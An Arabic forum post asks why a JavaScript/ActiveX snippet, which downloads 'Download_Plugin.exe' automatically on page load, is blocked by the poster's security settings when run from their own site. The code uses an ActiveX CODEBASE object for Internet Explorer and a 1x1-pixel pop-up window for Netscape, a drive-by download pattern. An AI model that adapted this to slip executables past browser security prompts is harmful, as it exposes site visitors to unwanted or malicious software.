هذا كود جافا سكريب يقوم بتشغيل اكتف اكس
وعندما نشغل صفحة الموقع الخاصة به تظهر نافذة التحذير المعتادة .
لا مشكلة ......
ولكن عندما اشغلة من موقعي مثلا لتحميل ملفي الخاص لا يعمل وتظهر رسالة مفادها ان السكيورتي بجهازي لايسمح بتحميل الملف ,
مالسبب ؟
راجيا منكم التفضل بالمشاركة لحل هذة المعضلة التي اررقتني مذ فترة
كود PHP:
<!-- BEGIN ActiveX code -->
<script language=JavaScript>
<!-- Vanish
var baseURL = "";
var filename = "Download_Plugin.exe";
function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);
Browser = "NS";
if ((BrowserName == "Netscape"))
Browser = "NC";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload() {
window.open("software_name_here.exe","_blank","height=1,width=1");
}
function IE_DownloadFile(ieURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+ieURL+"\">");
document.write("<\/OBJECT>");
}
function DownloadFile()
{
if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + filename);
if (WhichBrowser() == "NC") ncDownload();
}
// -->
</script>
<script language=JavaScript>
<!-- hide script
DownloadFile();
// -->
</script>
<!-- END ActiveX code -->